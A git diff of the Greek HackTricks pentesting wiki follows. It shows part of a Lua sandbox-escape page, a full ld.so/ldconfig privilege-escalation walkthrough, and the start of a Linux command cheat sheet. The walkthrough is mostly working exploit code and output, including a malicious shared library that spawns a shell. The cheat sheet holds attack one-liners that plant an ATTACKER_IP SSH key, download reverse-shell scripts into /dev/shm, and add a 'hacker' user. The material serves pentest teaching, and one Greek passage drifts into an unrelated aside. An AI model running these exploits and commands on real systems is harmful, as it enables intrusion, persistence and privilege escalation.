```bash
|
```bash
|
||||||
#In this scenario you could BF the victim that is generating a new lua environment
|
#In this scenario you could BF the victim that is generating a new lua environment
|
||||||
#for every interaction with the following line and when you are lucky
|
#for every interaction with the following line and when you are lucky
|
||||||
|
@ -326,24 +316,17 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
|
||||||
#and "char" from string library, and the use both to execute a command
|
#and "char" from string library, and the use both to execute a command
|
||||||
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
|
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
|
||||||
```
|
```
|
||||||
|
|
||||||
**Αποκτήστε διαδραστικό κέλυφος lua**: Εάν βρίσκεστε μέσα σε ένα περιορισμένο κέλυφος lua, μπορείτε να αποκτήσετε ένα νέο κέλυφος lua (και ελπίζουμε απεριόριστο) καλώντας:
|
**Αποκτήστε διαδραστικό κέλυφος lua**: Εάν βρίσκεστε μέσα σε ένα περιορισμένο κέλυφος lua, μπορείτε να αποκτήσετε ένα νέο κέλυφος lua (και ελπίζουμε απεριόριστο) καλώντας:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
debug.debug()
|
debug.debug()
|
||||||
```
|
```
|
||||||
## Αναφορές
|
|
||||||
|
### Αναφορές
|
||||||
|
|
||||||
* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Διαφάνειες: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
|
* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Διαφάνειες: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
|
||||||
|
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Παράδειγμα εκμετάλλευσης προνομιακής αύξησης με το ld.so
|
# ld.so privesc exploit example
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -18,8 +18,6 @@
|
||||||
|
|
||||||
Στην παρακάτω ενότητα μπορείτε να βρείτε τον κώδικα των αρχείων που θα χρησιμοποιήσουμε για να προετοιμάσουμε το περιβάλλον
|
Στην παρακάτω ενότητα μπορείτε να βρείτε τον κώδικα των αρχείων που θα χρησιμοποιήσουμε για να προετοιμάσουμε το περιβάλλον
|
||||||
|
|
||||||
{% tabs %}
|
|
||||||
{% tab title="sharedvuln.c" %}
|
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include "libcustom.h"
|
#include "libcustom.h"
|
||||||
|
@ -30,7 +28,6 @@ vuln_func();
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% tab title="libcustom.h" %}
|
|
||||||
|
|
||||||
```c
|
```c
|
||||||
#ifndef LIBCUSTOM_H
|
#ifndef LIBCUSTOM_H
|
||||||
|
@ -41,13 +38,11 @@ void custom_function();
|
||||||
#endif
|
#endif
|
||||||
```
|
```
|
||||||
|
|
||||||
{% endtab %}
|
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
|
||||||
void vuln_func();
|
void vuln_func();
|
||||||
```
|
```
|
||||||
{% tab title="libcustom.c" %}
|
|
||||||
|
|
||||||
Ο παρακάτω κώδικας δείχνει ένα παράδειγμα από ένα απλό αρχείο C που χρησιμοποιεί τη συνάρτηση `system()` για να εκτελέσει μια εντολή στο σύστημα:
|
Ο παρακάτω κώδικας δείχνει ένα παράδειγμα από ένα απλό αρχείο C που χρησιμοποιεί τη συνάρτηση `system()` για να εκτελέσει μια εντολή στο σύστημα:
|
||||||
|
|
||||||
|
@ -85,7 +80,6 @@ int main() {
|
||||||
|
|
||||||
Η χρήση της συνάρτησης `execve()` αντί για τη συνάρτηση `system()` είναι ένας τρόπος να ενισχυθεί η ασφάλεια του κώδικα και να αποτραπεί η εκτέλεση κακόβουλων εντολών.
|
Η χρήση της συνάρτησης `execve()` αντί για τη συνάρτηση `system()` είναι ένας τρόπος να ενισχυθεί η ασφάλεια του κώδικα και να αποτραπεί η εκτέλεση κακόβουλων εντολών.
|
||||||
|
|
||||||
{% endtab %}
|
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
|
||||||
|
@ -94,6 +88,7 @@ void vuln_func()
|
||||||
puts("Hi");
|
puts("Hi");
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="Greek" %}
|
{% tab title="Greek" %}
|
||||||
1. **Δημιουργήστε** αυτά τα αρχεία στον υπολογιστή σας στον ίδιο φάκελο
|
1. **Δημιουργήστε** αυτά τα αρχεία στον υπολογιστή σας στον ίδιο φάκελο
|
||||||
|
@ -101,11 +96,12 @@ puts("Hi");
|
||||||
3. **Αντιγράψτε** το `libcustom.so` στο `/usr/lib`: `sudo cp libcustom.so /usr/lib` (δικαιώματα root)
|
3. **Αντιγράψτε** το `libcustom.so` στο `/usr/lib`: `sudo cp libcustom.so /usr/lib` (δικαιώματα root)
|
||||||
4. **Μεταγλωτίστε** το **εκτελέσιμο**: `gcc sharedvuln.c -o sharedvuln -lcustom`
|
4. **Μεταγλωτίστε** το **εκτελέσιμο**: `gcc sharedvuln.c -o sharedvuln -lcustom`
|
||||||
|
|
||||||
### Ελέγξτε το περιβάλλον
|
#### Ελέγξτε το περιβάλλον
|
||||||
|
|
||||||
Ελέγξτε ότι το _libcustom.so_ φορτώνεται από το _/usr/lib_ και ότι μπορείτε να **εκτελέσετε** το δυαδικό αρχείο.
|
Ελέγξτε ότι το _libcustom.so_ φορτώνεται από το _/usr/lib_ και ότι μπορείτε να **εκτελέσετε** το δυαδικό αρχείο.
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
```
|
```
|
||||||
$ ldd sharedvuln
|
$ ldd sharedvuln
|
||||||
linux-vdso.so.1 => (0x00007ffc9a1f7000)
|
linux-vdso.so.1 => (0x00007ffc9a1f7000)
|
||||||
|
@ -117,14 +113,18 @@ $ ./sharedvuln
|
||||||
Welcome to my amazing application!
|
Welcome to my amazing application!
|
||||||
Hi
|
Hi
|
||||||
```
|
```
|
||||||
|
|
||||||
## Εκμετάλλευση
|
## Εκμετάλλευση
|
||||||
|
|
||||||
Σε αυτό το σενάριο θα υποθέσουμε ότι **κάποιος έχει δημιουργήσει μια ευπάθη εγγραφή** μέσα σε ένα αρχείο στο _/etc/ld.so.conf/_:
|
Σε αυτό το σενάριο θα υποθέσουμε ότι **κάποιος έχει δημιουργήσει μια ευπάθη εγγραφή** μέσα σε ένα αρχείο στο _/etc/ld.so.conf/_:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
|
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
|
||||||
```
|
```
|
||||||
|
|
||||||
Ο ευάλωτος φάκελος είναι _/home/ubuntu/lib_ (όπου έχουμε εγγράψιμη πρόσβαση).\
|
Ο ευάλωτος φάκελος είναι _/home/ubuntu/lib_ (όπου έχουμε εγγράψιμη πρόσβαση).\
|
||||||
**Κατεβάστε και μεταγλωττίστε** τον παρακάτω κώδικα μέσα σε αυτήν τη διαδρομή:
|
**Κατεβάστε και μεταγλωττίστε** τον παρακάτω κώδικα μέσα σε αυτήν τη διαδρομή:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
//gcc -shared -o libcustom.so -fPIC libcustom.c
|
//gcc -shared -o libcustom.so -fPIC libcustom.c
|
||||||
|
|
||||||
|
@ -139,9 +139,11 @@ printf("I'm the bad library\n");
|
||||||
system("/bin/sh",NULL,NULL);
|
system("/bin/sh",NULL,NULL);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
Τώρα που έχουμε **δημιουργήσει την κακόβουλη βιβλιοθήκη libcustom μέσα στο μη σωστά διαμορφωμένο** μονοπάτι, πρέπει να περιμένουμε για ένα **επανεκκίνηση** ή για τον χρήστη root να εκτελέσει το **`ldconfig`** (_σε περίπτωση που μπορείτε να εκτελέσετε αυτό το δυαδικό αρχείο ως **sudo** ή έχει το **suid bit**, θα μπορείτε να το εκτελέσετε μόνοι σας_).
|
Τώρα που έχουμε **δημιουργήσει την κακόβουλη βιβλιοθήκη libcustom μέσα στο μη σωστά διαμορφωμένο** μονοπάτι, πρέπει να περιμένουμε για ένα **επανεκκίνηση** ή για τον χρήστη root να εκτελέσει το **`ldconfig`** (_σε περίπτωση που μπορείτε να εκτελέσετε αυτό το δυαδικό αρχείο ως **sudo** ή έχει το **suid bit**, θα μπορείτε να το εκτελέσετε μόνοι σας_).
|
||||||
|
|
||||||
Μόλις συμβεί αυτό, **ελέγξτε ξανά** από πού φορτώνει το εκτελέσιμο `sharevuln` τη βιβλιοθήκη `libcustom.so`:
|
Μόλις συμβεί αυτό, **ελέγξτε ξανά** από πού φορτώνει το εκτελέσιμο `sharevuln` τη βιβλιοθήκη `libcustom.so`:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
$ldd sharedvuln
|
$ldd sharedvuln
|
||||||
linux-vdso.so.1 => (0x00007ffeee766000)
|
linux-vdso.so.1 => (0x00007ffeee766000)
|
||||||
|
@ -149,7 +151,9 @@ libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
|
||||||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
|
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
|
||||||
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
|
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
|
||||||
```
|
```
|
||||||
|
|
||||||
Όπως μπορείτε να δείτε, το φορτώνει από το `/home/ubuntu/lib` και αν οποιοσδήποτε χρήστης το εκτελέσει, θα εκτελεστεί ένα κέλυφος:
|
Όπως μπορείτε να δείτε, το φορτώνει από το `/home/ubuntu/lib` και αν οποιοσδήποτε χρήστης το εκτελέσει, θα εκτελεστεί ένα κέλυφος:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
$ ./sharedvuln
|
$ ./sharedvuln
|
||||||
Welcome to my amazing application!
|
Welcome to my amazing application!
|
||||||
|
@ -157,6 +161,7 @@ I'm the bad library
|
||||||
$ whoami
|
$ whoami
|
||||||
ubuntu
|
ubuntu
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Σημείωση ότι σε αυτό το παράδειγμα δεν έχουμε αναβαθμίσει δικαιώματα, αλλά τροποποιώντας τις εντολές που εκτελούνται και **περιμένοντας τον ριζικό χρήστη ή άλλο χρήστη με προνομιακά δικαιώματα να εκτελέσει το ευπάθειας binary** θα μπορέσουμε να αναβαθμίσουμε τα δικαιώματα.
|
Σημείωση ότι σε αυτό το παράδειγμα δεν έχουμε αναβαθμίσει δικαιώματα, αλλά τροποποιώντας τις εντολές που εκτελούνται και **περιμένοντας τον ριζικό χρήστη ή άλλο χρήστη με προνομιακά δικαιώματα να εκτελέσει το ευπάθειας binary** θα μπορέσουμε να αναβαθμίσουμε τα δικαιώματα.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -171,13 +176,16 @@ ubuntu
|
||||||
**Υποθέστε ότι έχετε προνομιακά δικαιώματα sudo πάνω στο `ldconfig`**.\
|
**Υποθέστε ότι έχετε προνομιακά δικαιώματα sudo πάνω στο `ldconfig`**.\
|
||||||
Μπορείτε να υποδείξετε στο `ldconfig` **από πού να φορτώνει τα αρχεία ρυθμίσεων**, έτσι μπορούμε να εκμεταλλευτούμε αυτό για να κάνουμε το `ldconfig` να φορτώσει αυθαίρετους φακέλους.\
|
Μπορείτε να υποδείξετε στο `ldconfig` **από πού να φορτώνει τα αρχεία ρυθμίσεων**, έτσι μπορούμε να εκμεταλλευτούμε αυτό για να κάνουμε το `ldconfig` να φορτώσει αυθαίρετους φακέλους.\
|
||||||
Έτσι, ας δημιουργήσουμε τα απαραίτητα αρχεία και φακέλους για να φορτώσουμε το "/tmp":
|
Έτσι, ας δημιουργήσουμε τα απαραίτητα αρχεία και φακέλους για να φορτώσουμε το "/tmp":
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cd /tmp
|
cd /tmp
|
||||||
echo "include /tmp/conf/*" > fake.ld.so.conf
|
echo "include /tmp/conf/*" > fake.ld.so.conf
|
||||||
echo "/tmp" > conf/evil.conf
|
echo "/tmp" > conf/evil.conf
|
||||||
```
|
```
|
||||||
|
|
||||||
Τώρα, όπως προκύπτει από την **προηγούμενη εκμετάλλευση**, **δημιουργήστε την κακόβουλη βιβλιοθήκη μέσα στο `/tmp`**.\
|
Τώρα, όπως προκύπτει από την **προηγούμενη εκμετάλλευση**, **δημιουργήστε την κακόβουλη βιβλιοθήκη μέσα στο `/tmp`**.\
|
||||||
Και τέλος, ας φορτώσουμε τη διαδρομή και ας ελέγξουμε από πού φορτώνεται ο δυαδικός αρχείος της βιβλιοθήκης:
|
Και τέλος, ας φορτώσουμε τη διαδρομή και ας ελέγξουμε από πού φορτώνεται ο δυαδικός αρχείος της βιβλιοθήκης:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ldconfig -f fake.ld.so.conf
|
ldconfig -f fake.ld.so.conf
|
||||||
|
|
||||||
|
@ -187,6 +195,7 @@ libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
|
||||||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
|
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
|
||||||
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
|
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
|
||||||
```
|
```
|
||||||
|
|
||||||
**Όπως μπορείτε να δείτε, έχοντας δικαιώματα sudo πάνω στο `ldconfig`, μπορείτε να εκμεταλλευτείτε την ίδια ευπάθεια.**
|
**Όπως μπορείτε να δείτε, έχοντας δικαιώματα sudo πάνω στο `ldconfig`, μπορείτε να εκμεταλλευτείτε την ίδια ευπάθεια.**
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
|
@ -208,7 +217,7 @@ libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
348
linux-hardening/useful-linux-commands.md
Normal file
348
linux-hardening/useful-linux-commands.md
Normal file
|
@ -0,0 +1,348 @@
|
||||||
|
# Χρήσιμες Εντολές Linux
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||||
|
Αποκτήστε Πρόσβαση Σήμερα:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Κοινές Εντολές Bash
|
||||||
|
```bash
|
||||||
|
#Exfiltration using Base64
|
||||||
|
base64 -w 0 file
|
||||||
|
|
||||||
|
#Get HexDump without new lines
|
||||||
|
xxd -p boot12.bin | tr -d '\n'
|
||||||
|
|
||||||
|
#Add public key to authorized keys
|
||||||
|
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
|
||||||
|
|
||||||
|
#Echo without new line and Hex
|
||||||
|
echo -n -e
|
||||||
|
|
||||||
|
#Count
|
||||||
|
wc -l <file> #Lines
|
||||||
|
wc -c #Chars
|
||||||
|
|
||||||
|
#Sort
|
||||||
|
sort -nr #Sort by number and then reverse
|
||||||
|
cat file | sort | uniq #Sort and delete duplicates
|
||||||
|
|
||||||
|
#Replace in file
|
||||||
|
sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
|
||||||
|
|
||||||
|
#Download in RAM
|
||||||
|
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
|
||||||
|
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
|
||||||
|
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
|
||||||
|
|
||||||
|
#Files used by network processes
|
||||||
|
lsof #Open files belonging to any process
|
||||||
|
lsof -p 3 #Open files used by the process
|
||||||
|
lsof -i #Files used by networks processes
|
||||||
|
lsof -i 4 #Files used by network IPv4 processes
|
||||||
|
lsof -i 6 #Files used by network IPv6 processes
|
||||||
|
lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
|
||||||
|
lsof +D /lib #Processes using files inside the indicated dir
|
||||||
|
lsof -i :80 #Files uses by networks processes
|
||||||
|
fuser -nv tcp 80
|
||||||
|
|
||||||
|
#Decompress
|
||||||
|
tar -xvzf /path/to/yourfile.tgz
|
||||||
|
tar -xvjf /path/to/yourfile.tbz
|
||||||
|
bzip2 -d /path/to/yourfile.bz2
|
||||||
|
tar jxf file.tar.bz2
|
||||||
|
gunzip /path/to/yourfile.gz
|
||||||
|
unzip file.zip
|
||||||
|
7z -x file.7z
|
||||||
|
sudo apt-get install xz-utils; unxz file.xz
|
||||||
|
|
||||||
|
#Add new user
|
||||||
|
useradd -p 'openssl passwd -1 <Password>' hacker
|
||||||
|
|
||||||
|
#Clipboard
|
||||||
|
xclip -sel c < cat file.txt
|
||||||
|
|
||||||
|
#HTTP servers
|
||||||
|
python -m SimpleHTTPServer 80
|
||||||
|
python3 -m http.server
|
||||||
|
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
|
||||||
|
php -S $ip:80
|
||||||
|
|
||||||
|
#Curl
|
||||||
|
#json data
|
||||||
|
curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
|
||||||
|
#Auth via JWT
|
||||||
|
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
|
||||||
|
|
||||||
|
#Send Email
|
||||||
|
sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content
|
||||||
|
|
||||||
|
#DD copy hex bin file without first X (28) bytes
|
||||||
|
dd if=file.bin bs=28 skip=1 of=blob
|
||||||
|
|
||||||
|
#Mount .vhd files (virtual hard drive)
|
||||||
|
sudo apt-get install libguestfs-tools
|
||||||
|
guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
|
||||||
|
|
||||||
|
# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
|
||||||
|
ssh-keyscan 10.10.10.101
|
||||||
|
|
||||||
|
# Openssl
|
||||||
|
openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
|
||||||
|
openssl x509 -in ca.cert.pem -text #Read certificate
|
||||||
|
openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
|
||||||
|
openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb)
|
||||||
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
|
||||||
|
openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
|
||||||
|
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
|
||||||
|
# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
|
||||||
|
openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
|
||||||
|
# Decrypt ssh key
|
||||||
|
openssl rsa -in key.ssh.enc -out key.ssh
|
||||||
|
#Decrypt
|
||||||
|
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
|
||||||
|
|
||||||
|
#Count number of instructions executed by a program, need a host based linux (not working in VM)
|
||||||
|
perf stat -x, -e instructions:u "ls"
|
||||||
|
|
||||||
|
#Find trick for HTB, find files from 2018-12-12 to 2018-12-14
|
||||||
|
find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null
|
||||||
|
|
||||||
|
#Reconfigure timezone
|
||||||
|
sudo dpkg-reconfigure tzdata
|
||||||
|
|
||||||
|
#Search from which package is a binary
|
||||||
|
apt-file search /usr/bin/file #Needed: apt-get install apt-file
|
||||||
|
|
||||||
|
#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html
|
||||||
|
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
|
||||||
|
|
||||||
|
#Set not removable bit
|
||||||
|
sudo chattr +i file.txt
|
||||||
|
sudo chattr -i file.txt #Remove the bit so you can delete it
|
||||||
|
|
